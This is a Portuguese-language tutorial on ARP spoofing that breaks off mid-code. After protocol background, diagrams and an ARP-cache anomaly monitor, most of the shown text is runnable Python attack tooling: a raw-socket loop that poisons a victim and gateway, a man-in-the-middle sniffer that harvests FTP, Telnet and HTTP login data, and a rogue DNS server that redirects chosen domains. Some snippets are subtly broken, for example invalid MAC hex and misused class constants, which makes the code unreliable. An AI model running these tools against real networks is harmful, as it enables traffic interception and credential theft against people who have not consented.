# ARP Spoofing

## **📋 Índice**

1. [Fundamentos do ARP](#-fundamentos-do-arp)
2. [Mecanismos do ARP Spoofing](#-mecanismos-do-arp-spoofing)
3. [Arquitetura e Funcionamento](#-arquitetura-e-funcionamento)
4. [Técnicas de Ataque](#-técnicas-de-ataque)
5. [Ferramentas de Exploração](#-ferramentas-de-exploração)
6. [Impacto e Consequências](#-impacto-e-consequências)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigações e Controles](#-mitigações-e-controles)
9. [Pentesting com ARP Spoofing](#-pentesting-com-arp-spoofing)
10. [Cenários Avançados](#-cenários-avançados)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do ARP**

### **O que é ARP?**

O **Address Resolution Protocol (ARP)** é um protocolo da camada de rede (RFC 826) responsável por mapear endereços IP (camada 3) para endereços MAC (camada 2) em redes locais. Opera dentro de um domínio de broadcast e é fundamental para a comunicação em redes Ethernet.

### **Características do ARP**

| Característica       | Descrição                               | Implicação de Segurança          |
| -------------------- | --------------------------------------- | -------------------------------- |
| **Stateless**        | Não mantém histórico de requisições     | Aceita respostas não solicitadas |
| **Sem Autenticação** | Não verifica identidade do remetente    | Vulnerável a injeção             |
| **Cache Dinâmico**   | Entradas são atualizadas constantemente | Envenenamento persistente        |
| **Broadcast**        | Requisições enviadas para toda rede     | Exposição de informações         |
| **Gratuitous ARP**   | Anúncios não solicitados                | Vetor principal de ataque        |

### **Contexto Histórico**

```yaml
Evolução do ARP e ARP Spoofing:
  1982: RFC 826 - Especificação do ARP
  1994: Primeiros relatos de ARP Spoofing
  1997: Lançamento do arpspoof (Dug Song)
  2000: Ettercap populariza ataques MITM
  2003: Dynamic ARP Inspection (DAI) Cisco
  2005: ARPwatch e ferramentas de detecção
  2010: ARP Spoofing ainda prevalente em redes sem segurança
  2020: Switch seguro e segmentação reduzem exposição
  2024: Ainda relevante em redes legadas e IoT
```

### **Posição no Modelo OSI**

```mermaid
graph TD
    subgraph "Camada 3 - Rede"
        IP[Protocolo IP]
        ARP[ARP - Resolução de Endereço]
    end
    
    subgraph "Camada 2 - Enlace"
        MAC[Endereços MAC]
        ETH[Ethernet]
    end
    
    subgraph "Camada 1 - Física"
        PHY[Meio Físico]
    end
    
    IP --> ARP
    ARP --> MAC
    MAC --> ETH
    ETH --> PHY
    
    style ARP fill:#ff9999,stroke:#333,stroke-width:2px
```

### **Operação Normal do ARP**

```mermaid
sequenceDiagram
    participant A as Host A<br/>192.168.1.10<br/>MAC: AA:AA
    participant B as Host B<br/>192.168.1.20<br/>MAC: BB:BB
    
    Note over A: ARP Cache vazio<br/>192.168.1.20 → ?
    
    A->>B: ARP Request (Broadcast)<br/>Quem tem 192.168.1.20?
    B->>A: ARP Reply (Unicast)<br/>192.168.1.20 está em BB:BB
    
    Note over A: Cache atualizado<br/>192.168.1.20 → BB:BB
    
    A->>B: Comunicação direta via MAC
```

***

## ⚔️ **Mecanismos do ARP Spoofing**

### **Fluxo do Ataque ARP Spoofing**

```mermaid
sequenceDiagram
    participant A as Atacante<br/>192.168.1.100<br/>MAC: CC:CC
    participant V as Vítima<br/>192.168.1.10<br/>MAC: AA:AA
    participant G as Gateway<br/>192.168.1.1<br/>MAC: GG:GG
    
    Note over A: FASE 1: Envenenamento
    A->>V: ARP Reply (Gratuitous)<br/>192.168.1.1 está em CC:CC
    A->>G: ARP Reply (Gratuitous)<br/>192.168.1.10 está em CC:CC
    
    Note over V: Cache ARP corrompido<br/>Gateway → CC:CC
    Note over G: Cache ARP corrompido<br/>Vítima → CC:CC
    
    Note over A,V,G: FASE 2: Interceptação
    V->>A: Tráfego destinado ao gateway
    A->>G: Encaminha tráfego
    G->>A: Resposta do gateway
    A->>V: Encaminha resposta
    
    Note over A: MITM ativo<br/>Captura todo tráfego
```

### **Tipos de Respostas ARP Maliciosas**

```python
#!/usr/bin/env python3
# arp_spoofing_mechanism.py - Mecanismos do ARP Spoofing

import struct
import socket
import time

class ARPSpoofingMechanism:
    """Análise dos mecanismos de ARP Spoofing"""
    
    # Ethernet type para ARP
    ETH_P_ARP = 0x0806
    
    # ARP operation codes
    ARP_REQUEST = 1
    ARP_REPLY = 2
    
    class ARPPacket:
        """Estrutura de pacote ARP"""
        
        def __init__(self):
            self.htype = 1  # Ethernet
            self.ptype = 0x0800  # IPv4
            self.hlen = 6  # MAC address length
            self.plen = 4  # IP address length
            self.oper = self.ARP_REPLY  # Operation
            self.sha = b'\x00' * 6  # Sender MAC
            self.spa = 0  # Sender IP
            self.tha = b'\x00' * 6  # Target MAC
            self.tpa = 0  # Target IP
        
        def build(self):
            """Construir pacote ARP"""
            packet = struct.pack('!HHBBH6sI6sI',
                self.htype,
                self.ptype,
                self.hlen,
                self.plen,
                self.oper,
                self.sha,
                self.spa,
                self.tha,
                self.tpa
            )
            return packet
        
        def spoof_target(self, target_ip, target_mac, spoofed_ip, attacker_mac):
            """Configurar pacote para spoofing"""
            self.oper = self.ARP_REPLY
            self.sha = attacker_mac
            self.spa = self._ip_to_int(spoofed_ip)
            self.tha = target_mac
            self.tpa = self._ip_to_int(target_ip)
        
        def _ip_to_int(self, ip):
            """Converter IP para inteiro"""
            parts = ip.split('.')
            return (int(parts[0]) << 24) + (int(parts[1]) << 16) + \
                   (int(parts[2]) << 8) + int(parts[3])
    
    @staticmethod
    def gratuitous_arp(ip, mac):
        """ARP gratuito - anúncio não solicitado"""
        print(f"📢 ARP Gratuito: {ip} → {mac}")
        # Em implementação real, enviaria pacote ARP Reply sem solicitação prévia
    
    @staticmethod
    def arp_cache_poisoning(target_ip, target_mac, fake_ip, attacker_mac):
        """Envenenamento de cache ARP"""
        print(f"💉 Envenenando cache ARP de {target_ip}")
        print(f"   Anunciando {fake_ip} → {attacker_mac}")
        
        # A vítima agora acredita que fake_ip está no MAC do atacante
        # Em implementação real, enviaria pacote ARP Reply
    
    @staticmethod
    def bidirectional_spoof(victim_ip, gateway_ip, attacker_mac):
        """Spoofing bidirecional (MITM completo)"""
        print(f"🔄 Estabelecendo MITM entre {victim_ip} e {gateway_ip}")
        
        # Obter MACs reais (em implementação real)
        victim_mac = None  # Descobrir via ARP
        gateway_mac = None  # Descobrir via ARP
        
        print(f"   1. Envenenando vítima: {gateway_ip} → {attacker_mac}")
        print(f"   2. Envenenando gateway: {victim_ip} → {attacker_mac}")
        
        return True

# Demonstração
mechanism = ARPSpoofingMechanism()
mechanism.gratuitous_arp("192.168.1.1", "AA:BB:CC:DD:EE:FF")
mechanism.arp_cache_poisoning("192.168.1.10", "AA:AA:AA:AA:AA:AA", 
                              "192.168.1.1", "CC:CC:CC:CC:CC:CC")
mechanism.bidirectional_spoof("192.168.1.10", "192.168.1.1", "CC:CC:CC:CC:CC:CC")
```

### **Ciclo de Vida do Ataque**

```mermaid
stateDiagram-v2
    [*] --> Descoberta
    Descoberta --> Envenenamento: Mapear rede
    Envenenamento --> Interceptação: Cache corrompido
    Interceptação --> Captura: MITM ativo
    Interceptação --> Modificação: Injeção de payload
    Interceptação --> Redirecionamento: DNS spoofing
    Captura --> [*]: Após coleta de dados
    Modificação --> [*]: Após injeção
    Redirecionamento --> [*]: Após desvio
    
    state Envenenamento {
        [*] --> ARP_Reply
        ARP_Reply --> Gratuitous_ARP
        Gratuitous_ARP --> Cache_Poisoned
    }
    
    state Interceptação {
        [*] --> Forward_Packets
        Forward_Packets --> Log_Data
        Forward_Packets --> Modify_Packets
        Log_Data --> [*]
        Modify_Packets --> [*]
    }
```

***

## 🏗️ **Arquitetura e Funcionamento**

### **Estrutura do Pacote ARP**

```python
#!/usr/bin/env python3
# arp_packet_structure.py - Análise do pacote ARP

import struct
import binascii

class ARPPacketStructure:
    """Análise detalhada da estrutura do pacote ARP"""
    
    @staticmethod
    def display_packet_format():
        """Exibir formato do pacote ARP"""
        print("📦 Formato do Pacote ARP")
        print("=" * 70)
        print("Offset  Campo              Tamanho  Descrição")
        print("-" * 70)
        print("0-1     Hardware Type      2        Ethernet = 1")
        print("2-3     Protocol Type      2        IPv4 = 0x0800")
        print("4       Hardware Length    1        MAC = 6")
        print("5       Protocol Length    1        IP = 4")
        print("6-7     Operation          2        1=Request, 2=Reply")
        print("8-13    Sender MAC         6        MAC do remetente")
        print("14-17   Sender IP          4        IP do remetente")
        print("18-23   Target MAC         6        MAC do destino")
        print("24-27   Target IP          4        IP do destino")
        print("=" * 70)
    
    @staticmethod
    def create_arp_packet(sender_mac, sender_ip, target_mac, target_ip, operation=2):
        """Criar pacote ARP completo"""
        import socket
        
        # Hardware type: Ethernet = 1
        htype = 1
        # Protocol type: IPv4 = 0x0800
        ptype = 0x0800
        # Hardware length: 6 (MAC)
        hlen = 6
        # Protocol length: 4 (IP)
        plen = 4
        # Operation: 1=Request, 2=Reply
        oper = operation
        
        # Converter IPs para inteiros
        sender_ip_int = struct.unpack('!I', socket.inet_aton(sender_ip))[0]
        target_ip_int = struct.unpack('!I', socket.inet_aton(target_ip))[0]
        
        # Converter MACs para bytes
        sender_mac_bytes = binascii.unhexlify(sender_mac.replace(':', ''))
        target_mac_bytes = binascii.unhexlify(target_mac.replace(':', ''))
        
        # Construir pacote
        packet = struct.pack('!HHBBH6sI6sI',
            htype, ptype, hlen, plen, oper,
            sender_mac_bytes, sender_ip_int,
            target_mac_bytes, target_ip_int
        )
        
        return packet
    
    @staticmethod
    def parse_arp_packet(packet):
        """Parsear pacote ARP"""
        if len(packet) < 28:
            return None
        
        header = struct.unpack('!HHBBH6sI6sI', packet[:28])
        
        return {
            'hardware_type': header[0],
            'protocol_type': hex(header[1]),
            'hardware_length': header[2],
            'protocol_length': header[3],
            'operation': 'REQUEST' if header[4] == 1 else 'REPLY',
            'sender_mac': ':'.join(f'{b:02x}' for b in header[5]),
            'sender_ip': socket.inet_ntoa(struct.pack('!I', header[6])),
            'target_mac': ':'.join(f'{b:02x}' for b in header[7]),
            'target_ip': socket.inet_ntoa(struct.pack('!I', header[8]))
        }

# Exemplo
import socket
ARPPacketStructure.display_packet_format()

# Criar pacote ARP
packet = ARPPacketStructure.create_arp_packet(
    sender_mac="AA:BB:CC:DD:EE:FF",
    sender_ip="192.168.1.100",
    target_mac="GG:HH:II:JJ:KK:LL",
    target_ip="192.168.1.1",
    operation=2
)
print(f"\n📦 Pacote ARP criado: {packet.hex()[:60]}...")
```

### **Cache ARP e Tabela de Resolução**

```python
#!/usr/bin/env python3
# arp_cache_manager.py - Gerenciamento do cache ARP

import subprocess
import re
import time
from collections import defaultdict

class ARPCacheManager:
    """Gerenciamento e análise do cache ARP"""
    
    def __init__(self):
        self.cache = {}
        self.poison_detected = False
    
    def read_arp_cache(self):
        """Ler tabela ARP do sistema"""
        try:
            result = subprocess.run(['arp', '-a'], capture_output=True, text=True)
            entries = []
            
            for line in result.stdout.split('\n'):
                # Parse linha: "192.168.1.1 (192.168.1.1) at aa:bb:cc:dd:ee:ff [ether] on eth0"
                match = re.search(r'([0-9.]+).*at ([0-9a-f:]+)', line.lower())
                if match:
                    ip = match.group(1)
                    mac = match.group(2).upper()
                    entries.append({'ip': ip, 'mac': mac})
            
            return entries
            
        except Exception as e:
            print(f"❌ Erro ao ler cache ARP: {e}")
            return []
    
    def detect_duplicate_mac(self):
        """Detectar múltiplos IPs com mesmo MAC (possível spoofing)"""
        entries = self.read_arp_cache()
        mac_to_ips = defaultdict(list)
        
        for entry in entries:
            mac_to_ips[entry['mac']].append(entry['ip'])
        
        duplicates = {}
        for mac, ips in mac_to_ips.items():
            if len(ips) > 1:
                duplicates[mac] = ips
        
        return duplicates
    
    def detect_mac_changes(self, previous_cache):
        """Detectar mudanças suspeitas na tabela ARP"""
        current_cache = self.read_arp_cache()
        changes = []
        
        current_dict = {entry['ip']: entry['mac'] for entry in current_cache}
        previous_dict = {entry['ip']: entry['mac'] for entry in previous_cache}
        
        for ip, current_mac in current_dict.items():
            if ip in previous_dict and previous_dict[ip] != current_mac:
                changes.append({
                    'ip': ip,
                    'old_mac': previous_dict[ip],
                    'new_mac': current_mac,
                    'timestamp': time.time()
                })
        
        return changes
    
    def monitor_cache(self, interval=10, duration=60):
        """Monitorar cache ARP por um período"""
        print(f"🔍 Monitorando cache ARP por {duration}s (intervalo {interval}s)")
        print("=" * 60)
        
        start_time = time.time()
        previous_cache = self.read_arp_cache()
        
        while time.time() - start_time < duration:
            time.sleep(interval)
            
            # Detectar mudanças
            changes = self.detect_mac_changes(previous_cache)
            if changes:
                print(f"⚠️  Mudanças detectadas em {time.strftime('%H:%M:%S')}:")
                for change in changes:
                    print(f"   {change['ip']}: {change['old_mac']} → {change['new_mac']}")
                self.poison_detected = True
            
            # Detectar duplicações
            duplicates = self.detect_duplicate_mac()
            if duplicates:
                print(f"⚠️  IPs duplicados para mesmo MAC:")
                for mac, ips in duplicates.items():
                    print(f"   MAC {mac} → IPs: {', '.join(ips)}")
                self.poison_detected = True
            
            previous_cache = self.read_arp_cache()
        
        if not self.poison_detected:
            print("✅ Nenhuma anomalia detectada no cache ARP")
        
        return self.poison_detected
    
    def get_gateway_mac(self):
        """Obter MAC do gateway"""
        try:
            result = subprocess.run(['ip', 'route', 'show', 'default'], 
                                    capture_output=True, text=True)
            match = re.search(r'via ([0-9.]+)', result.stdout)
            if match:
                gateway_ip = match.group(1)
                entries = self.read_arp_cache()
                for entry in entries:
                    if entry['ip'] == gateway_ip:
                        return entry['mac']
        except:
            pass
        return None
    
    def get_victim_mac(self, victim_ip):
        """Obter MAC de uma vítima"""
        entries = self.read_arp_cache()
        for entry in entries:
            if entry['ip'] == victim_ip:
                return entry['mac']
        return None

# Exemplo de uso
manager = ARPCacheManager()
print("📊 Cache ARP atual:")
for entry in manager.read_arp_cache()[:5]:
    print(f"   {entry['ip']} → {entry['mac']}")

gateway_mac = manager.get_gateway_mac()
print(f"\n🌐 Gateway MAC: {gateway_mac}")

# Monitorar por 30 segundos
# manager.monitor_cache(interval=5, duration=30)
```

***

## 🔧 **Técnicas de Ataque**

### **Ataque 1: ARP Spoofing Básico**

```python
#!/usr/bin/env python3
# arp_spoof_basic.py - ARP Spoofing básico

import socket
import struct
import time
import sys

class ARPSpoofBasic:
    """Implementação básica de ARP Spoofing (educacional)"""
    
    def __init__(self, interface, target_ip, gateway_ip):
        self.interface = interface
        self.target_ip = target_ip
        self.gateway_ip = gateway_ip
        self.sock = None
        self.running = False
    
    def get_mac(self, ip):
        """Obter MAC address via ARP request"""
        try:
            # Criar socket ARP
            sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0806))
            sock.bind((self.interface, 0))
            sock.settimeout(2)
            
            # Criar ARP request
            packet = self._create_arp_request(ip)
            
            # Enviar request
            sock.send(packet)
            
            # Aguardar resposta
            while True:
                data, addr = sock.recvfrom(1024)
                parsed = self._parse_arp_response(data)
                if parsed and parsed['sender_ip'] == ip:
                    sock.close()
                    return parsed['sender_mac']
                    
        except socket.timeout:
            print(f"Timeout ao obter MAC de {ip}")
        except Exception as e:
            print(f"Erro: {e}")
        finally:
            if sock:
                sock.close()
        
        return None
    
    def _create_arp_request(self, target_ip):
        """Criar ARP request"""
        import binascii
        
        # Ethernet header
        eth_dst = b'\xff\xff\xff\xff\xff\xff'  # Broadcast
        eth_src = self._get_interface_mac()
        eth_type = b'\x08\x06'  # ARP
        
        # ARP header
        htype = b'\x00\x01'  # Ethernet
        ptype = b'\x08\x00'  # IPv4
        hlen = b'\x06'  # MAC length
        plen = b'\x04'  # IP length
        oper = b'\x00\x01'  # Request
        
        # Sender
        sender_mac = eth_src
        sender_ip = self._ip_to_bytes(self._get_interface_ip())
        
        # Target
        target_mac = b'\x00\x00\x00\x00\x00\x00'
        target_ip = self._ip_to_bytes(target_ip)
        
        packet = eth_dst + eth_src + eth_type + htype + ptype + hlen + plen + oper + \
                 sender_mac + sender_ip + target_mac + target_ip
        
        return packet
    
    def _create_arp_reply(self, target_ip, target_mac, spoofed_ip):
        """Criar ARP reply para spoofing"""
        # Ethernet header
        eth_dst = target_mac
        eth_src = self._get_interface_mac()
        eth_type = b'\x08\x06'
        
        # ARP header
        htype = b'\x00\x01'
        ptype = b'\x08\x00'
        hlen = b'\x06'
        plen = b'\x04'
        oper = b'\x00\x02'  # Reply
        
        # Sender (atacante)
        sender_mac = eth_src
        sender_ip = self._ip_to_bytes(spoofed_ip)
        
        # Target (vítima)
        target_mac_bytes = target_mac
        target_ip_bytes = self._ip_to_bytes(target_ip)
        
        packet = eth_dst + eth_src + eth_type + htype + ptype + hlen + plen + oper + \
                 sender_mac + sender_ip + target_mac_bytes + target_ip_bytes
        
        return packet
    
    def _get_interface_mac(self):
        """Obter MAC da interface"""
        import fcntl
        import array
        
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        info = fcntl.ioctl(sock.fileno(), 0x8927, 
                           struct.pack('256s', self.interface[:15].encode()))
        sock.close()
        
        return info[18:24]
    
    def _get_interface_ip(self):
        """Obter IP da interface"""
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            sock.connect(('8.8.8.8', 80))
            ip = sock.getsockname()[0]
        except:
            ip = '127.0.0.1'
        finally:
            sock.close()
        return ip
    
    def _ip_to_bytes(self, ip):
        """Converter IP para bytes"""
        return socket.inet_aton(ip)
    
    def _parse_arp_response(self, data):
        """Parsear resposta ARP"""
        if len(data) < 42:
            return None
        
        # Verificar se é ARP
        if data[12:14] != b'\x08\x06':
            return None
        
        # ARP operation
        oper = struct.unpack('!H', data[20:22])[0]
        
        if oper == 2:  # Reply
            sender_mac = data[22:28]
            sender_ip = socket.inet_ntoa(data[28:32])
            
            return {
                'sender_mac': ':'.join(f'{b:02x}' for b in sender_mac),
                'sender_ip': sender_ip
            }
        
        return None
    
    def poison(self):
        """Executar envenenamento ARP"""
        print(f"🚨 Iniciando ARP Spoofing")
        print(f"   Interface: {self.interface}")
        print(f"   Vítima: {self.target_ip}")
        print(f"   Gateway: {self.gateway_ip}")
        print(f"   Atacante: {self._get_interface_ip()}")
        
        # Obter MACs
        target_mac = self.get_mac(self.target_ip)
        gateway_mac = self.get_mac(self.gateway_ip)
        
        if not target_mac:
            print(f"❌ Não foi possível obter MAC da vítima")
            return False
        
        if not gateway_mac:
            print(f"❌ Não foi possível obter MAC do gateway")
            return False
        
        print(f"✅ MAC da vítima: {target_mac}")
        print(f"✅ MAC do gateway: {gateway_mac}")
        
        try:
            self.sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0806))
            self.sock.bind((self.interface, 0))
            self.running = True
            
            packet_count = 0
            
            while self.running:
                # Envenenar vítima: gateway → atacante
                packet1 = self._create_arp_reply(
                    self.target_ip, target_mac.encode(), self.gateway_ip
                )
                self.sock.send(packet1)
                
                # Envenenar gateway: vítima → atacante
                packet2 = self._create_arp_reply(
                    self.gateway_ip, gateway_mac.encode(), self.target_ip
                )
                self.sock.send(packet2)
                
                packet_count += 2
                
                if packet_count % 20 == 0:
                    print(f"📡 Pacotes enviados: {packet_count}")
                
                time.sleep(2)
                
        except KeyboardInterrupt:
            print("\n🛑 Interrompido pelo usuário")
        except Exception as e:
            print(f"❌ Erro: {e}")
        finally:
            self.restore()
    
    def restore(self):
        """Restaurar tabelas ARP originais"""
        print("\n🔄 Restaurando tabelas ARP...")
        
        target_mac = self.get_mac(self.target_ip)
        gateway_mac = self.get_mac(self.gateway_ip)
        
        if target_mac and gateway_mac:
            # Restaurar vítima
            packet1 = self._create_arp_reply(
                self.target_ip, target_mac.encode(), self.gateway_ip
            )
            self.sock.send(packet1)
            
            # Restaurar gateway
            packet2 = self._create_arp_reply(
                self.gateway_ip, gateway_mac.encode(), self.target_ip
            )
            self.sock.send(packet2)
            
            print("✅ Tabelas ARP restauradas")
        
        self.running = False
        if self.sock:
            self.sock.close()

# Uso (APENAS EM LABORATÓRIO AUTORIZADO)
if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Uso: arp_spoof_basic.py <interface> <target_ip> <gateway_ip>")
        sys.exit(1)
    
    spoof = ARPSpoofBasic(sys.argv[1], sys.argv[2], sys.argv[3])
    spoof.poison()
```

### **Ataque 2: MITM Completo com Redirecionamento**

```python
#!/usr/bin/env python3
# arp_mitm_advanced.py - MITM avançado com redirecionamento

import socket
import struct
import threading
import time
import sys

class ARPMITMAdvanced:
    """MITM avançado com ARP Spoofing e redirecionamento de tráfego"""
    
    def __init__(self, interface, target_ip, gateway_ip):
        self.interface = interface
        self.target_ip = target_ip
        self.gateway_ip = gateway_ip
        self.sock = None
        self.forwarding = True
        self.captured_packets = []
    
    def enable_ip_forwarding(self):
        """Habilitar forwarding de IP no kernel"""
        try:
            with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
                f.write('1')
            print("✅ IP forwarding habilitado")
        except:
            print("❌ Não foi possível habilitar IP forwarding")
    
    def disable_ip_forwarding(self):
        """Desabilitar forwarding de IP"""
        try:
            with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
                f.write('0')
            print("✅ IP forwarding desabilitado")
        except:
            pass
    
    def start_capture(self):
        """Iniciar captura de tráfego"""
        print("📡 Iniciando captura de tráfego...")
        
        try:
            # Criar socket raw para capturar tudo
            capture_sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
            capture_sock.bind((self.interface, 0))
            capture_sock.settimeout(1)
            
            packet_count = 0
            
            while self.forwarding:
                try:
                    data, addr = capture_sock.recvfrom(65535)
                    self._analyze_packet(data)
                    packet_count += 1
                    
                    if packet_count % 100 == 0:
                        print(f"📊 Pacotes capturados: {packet_count}")
                        
                except socket.timeout:
                    continue
                    
        except Exception as e:
            print(f"❌ Erro na captura: {e}")
        finally:
            capture_sock.close()
    
    def _analyze_packet(self, data):
        """Analisar pacote capturado"""
        # Ethernet header (14 bytes)
        eth_dst = data[0:6]
        eth_src = data[6:12]
        eth_type = data[12:14]
        
        # Verificar se é IPv4
        if eth_type != b'\x08\x00':
            return
        
        # IP header (20 bytes)
        ip_header = data[14:34]
        src_ip = socket.inet_ntoa(ip_header[12:16])
        dst_ip = socket.inet_ntoa(ip_header[16:20])
        
        # Verificar se envolve vítima ou gateway
        if src_ip in [self.target_ip, self.gateway_ip] or \
           dst_ip in [self.target_ip, self.gateway_ip]:
            
            protocol = ip_header[9]
            
            # Identificar protocolo
            if protocol == 6:  # TCP
                self._extract_tcp_credentials(data, src_ip, dst_ip)
            elif protocol == 17:  # UDP
                self._extract_dns_info(data, src_ip, dst_ip)
            elif protocol == 1:  # ICMP
                self._log_icmp(data, src_ip, dst_ip)
    
    def _extract_tcp_credentials(self, data, src_ip, dst_ip):
        """Extrair credenciais de tráfego TCP"""
        ip_len = (data[14] & 0x0F) * 4
        tcp_offset = 14 + ip_len
        
        # TCP header (20 bytes)
        tcp_header = data[tcp_offset:tcp_offset+20]
        src_port = struct.unpack('!H', tcp_header[0:2])[0]
        dst_port = struct.unpack('!H', tcp_header[2:4])[0]
        
        # Portas conhecidas
        if dst_port == 21:  # FTP
            payload = data[tcp_offset+40:]
            self._find_ftp_credentials(payload, src_ip)
        elif dst_port == 23:  # Telnet
            payload = data[tcp_offset+40:]
            self._find_telnet_data(payload, src_ip)
        elif dst_port == 80:  # HTTP
            payload = data[tcp_offset+40:]
            self._find_http_credentials(payload, src_ip, dst_ip)
    
    def _find_http_credentials(self, payload, src_ip, dst_ip):
        """Buscar credenciais em tráfego HTTP"""
        try:
            # Buscar POST com credenciais
            payload_str = payload.decode('utf-8', errors='ignore')
            
            if 'POST' in payload_str and ('username' in payload_str.lower() or 
                                          'password' in payload_str.lower() or
                                          'login' in payload_str.lower()):
                print(f"🔑 Possível credencial capturada:")
                print(f"   Origem: {src_ip}")
                print(f"   Destino: {dst_ip}")
                print(f"   Dados: {payload_str[:200]}")
                self.captured_packets.append({
                    'type': 'HTTP_CREDENTIALS',
                    'src': src_ip,
                    'dst': dst_ip,
                    'data': payload_str[:500]
                })
        except:
            pass
    
    def _extract_dns_info(self, data, src_ip, dst_ip):
        """Extrair informações DNS"""
        ip_len = (data[14] & 0x0F) * 4
        udp_offset = 14 + ip_len
        
        # UDP header (8 bytes)
        udp_header = data[udp_offset:udp_offset+8]
        src_port = struct.unpack('!H', udp_header[0:2])[0]
        dst_port = struct.unpack('!H', udp_header[2:4])[0]
        
        if dst_port == 53:  # DNS
            dns_data = data[udp_offset+8:]
            self._log_dns_query(dns_data, src_ip)
    
    def _log_dns_query(self, dns_data, src_ip):
        """Registrar query DNS"""
        try:
            # Parse DNS header (12 bytes)
            # ID, flags, etc.
            # Extrair domínio consultado
            offset = 12
            domain = []
            
            while offset < len(dns_data):
                length = dns_data[offset]
                if length == 0:
                    break
                offset += 1
                domain.append(dns_data[offset:offset+length].decode('utf-8', errors='ignore'))
                offset += length
            
            if domain:
                print(f"🌐 DNS Query: {src_ip} → {'.'.join(domain)}")
        except:
            pass
    
    def _log_icmp(self, data, src_ip, dst_ip):
        """Registrar tráfego ICMP"""
        ip_len = (data[14] & 0x0F) * 4
        icmp_type = data[14 + ip_len]
        
        if icmp_type == 8:  # Echo Request
            print(f"📡 ICMP Ping: {src_ip} → {dst_ip}")
    
    def _find_ftp_credentials(self, payload, src_ip):
        """Buscar credenciais FTP"""
        try:
            payload_str = payload.decode('utf-8', errors='ignore')
            
            if 'USER' in payload_str.upper() or 'PASS' in payload_str.upper():
                print(f"🔑 FTP Credential: {src_ip} → {payload_str.strip()}")
        except:
            pass
    
    def _find_telnet_data(self, payload, src_ip):
        """Buscar dados Telnet"""
        try:
            # Telnet tem dados em texto plano
            printable = ''.join(chr(b) for b in payload if 32 <= b <= 126)
            if printable:
                print(f"📟 Telnet Data: {src_ip} → {printable[:100]}")
        except:
            pass
    
    def start(self):
        """Iniciar ataque MITM completo"""
        print(f"🚨 Iniciando MITM Advanced Attack")
        print(f"   Vítima: {self.target_ip}")
        print(f"   Gateway: {self.gateway_ip}")
        print(f"   Interface: {self.interface}")
        
        # Habilitar forwarding
        self.enable_ip_forwarding()
        
        # Iniciar captura em thread separada
        capture_thread = threading.Thread(target=self.start_capture)
        capture_thread.daemon = True
        capture_thread.start()
        
        # Iniciar ARP spoofing
        spoof = ARPSpoofBasic(self.interface, self.target_ip, self.gateway_ip)
        
        try:
            # Executar spoofing (bloqueante)
            spoof.poison()
        except KeyboardInterrupt:
            print("\n🛑 Encerrando MITM...")
        finally:
            self.forwarding = False
            spoof.restore()
            self.disable_ip_forwarding()
            
            # Relatório
            self._print_report()
    
    def _print_report(self):
        """Imprimir relatório de captura"""
        print("\n📊 Relatório de Captura")
        print("=" * 50)
        print(f"Total de pacotes capturados: {len(self.captured_packets)}")
        
        for packet in self.captured_packets:
            if packet['type'] == 'HTTP_CREDENTIALS':
                print(f"\n🔑 Credenciais HTTP:")
                print(f"   Origem: {packet['src']}")
                print(f"   Dados: {packet['data']}")

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Uso: arp_mitm_advanced.py <interface> <target_ip> <gateway_ip>")
        sys.exit(1)
    
    mitm = ARPMITMAdvanced(sys.argv[1], sys.argv[2], sys.argv[3])
    mitm.start()
```

### **Ataque 3: ARP Spoofing com DNS Spoofing**

```python
#!/usr/bin/env python3
# arp_dns_spoof.py - ARP Spoofing com DNS Spoofing

import socket
import struct
import threading
import time

class ARPDNSSpoof:
    """ARP Spoofing combinado com DNS Spoofing"""
    
    def __init__(self, interface, target_ip, gateway_ip, spoofed_domains):
        self.interface = interface
        self.target_ip = target_ip
        self.gateway_ip = gateway_ip
        self.spoofed_domains = spoofed_domains  # dict {domain: fake_ip}
        self.dns_sock = None
        self.running = True
    
    def start_dns_server(self):
        """Iniciar servidor DNS falso"""
        try:
            self.dns_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.dns_sock.bind(('0.0.0.0', 53))
            print("🌐 Servidor DNS falso iniciado na porta 53")
            
            while self.running:
                try:
                    data, addr = self.dns_sock.recvfrom(512)
                    self._handle_dns_request(data, addr)
                except:
                    pass
                    
        except PermissionError:
            print("❌ É necessário privilégios de root para porta 53")
        except Exception as e:
            print(f"❌ Erro DNS: {e}")
    
    def _handle_dns_request(self, data, addr):
        """Processar requisição DNS e responder com IP falso"""
        try:
            # Parse DNS header
            transaction_id = data[0:2]
            flags = data[2:4]
            qdcount = struct.unpack('!H', data[4:6])[0]
            
            # Extrair domínio consultado
            offset = 12
            domain = []
            
            while offset < len(data):
                length = data[offset]
                if length == 0:
                    break
                offset += 1
                domain.append(data[offset:offset+length].decode('utf-8', errors='ignore'))
                offset += length
            
            if domain:
                query_domain = '.'.join(domain)
                print(f"🔍 DNS Query: {addr[0]} → {query_domain}")
                
                # Verificar se domínio deve ser spoofado
                for spoof_domain, spoof_ip in self.spoofed_domains.items():
                    if spoof_domain in query_domain:
                        print(f"🎯 Spoofing DNS: {query_domain} → {spoof_ip}")
                        self._send_dns_response(data, addr, spoof_ip)
                        return
            
            # Encaminhar requisição para DNS real (opcional)
            self._forward_dns_request(data, addr)
            
        except Exception as e:
            print(f"❌ Erro processando DNS: {e}")
    
    def _send_dns_response(self, request, addr, fake_ip):
        """Enviar resposta DNS com IP falso"""
        # Construir resposta DNS
        transaction_id = request[0:2]
        flags = b'\x81\x80'  # Standard response, no error
        qdcount = request[4:6]
        ancount = b'\x00\x01'  # 1 answer
        nscount = b'\x00\x00'
        arcount = b'\x00\x00'
        
        # Question section (mesmo da requisição)
        question = request[12:]
        
        # Answer section
        name = b'\xc0\x0c'  # Pointer
        qtype = b'\x00\x01'  # A record
        qclass = b'\x00\x01'  # IN
        ttl = b'\x00\x00\x00\x3c'  # 60 seconds
        rdlength = b'\x00\x04'  # IPv4 length
